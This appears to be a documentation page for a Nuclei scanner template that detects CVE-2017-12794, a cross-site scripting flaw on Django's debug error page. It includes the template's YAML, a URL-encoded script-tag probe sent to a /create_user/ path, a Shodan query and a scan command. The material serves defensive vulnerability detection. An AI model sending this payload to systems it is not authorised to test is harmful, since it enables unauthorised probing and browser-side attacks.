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Django Debug Page - Cross-Site Scripting

ID: CVE-2017-12794

Severity: medium

Author: pikpikcu

Tags: cve2017,cve,xss,django,djangoproject

Description

Section titled “Description”

Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. We detected that right circumstances (DEBUG=True) are present to allow a cross-site scripting attack.

YAML Source

Section titled “YAML Source”
id: CVE-2017-12794


info:
  name: Django Debug Page - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. We detected that right circumstances (DEBUG=True) are present to allow a cross-site scripting attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Django or apply the necessary security patches provided by the Django project.
  reference:
    - https://twitter.com/sec715/status/1406779605055270914
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12794
    - https://www.djangoproject.com/weblog/2017/sep/05/security-releases/
    - http://web.archive.org/web/20211207172022/https://securitytracker.com/id/1039264
    - http://www.securitytracker.com/id/1039264
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-12794
    cwe-id: CWE-79
    epss-score: 0.00219
    epss-percentile: 0.59849
    cpe: cpe:2.3:a:djangoproject:django:1.10.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: djangoproject
    product: django
    shodan-query: cpe:"cpe:2.3:a:djangoproject:django"
  tags: cve2017,cve,xss,django,djangoproject


http:
  - method: GET
    path:
      - "{{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-12794.yaml"

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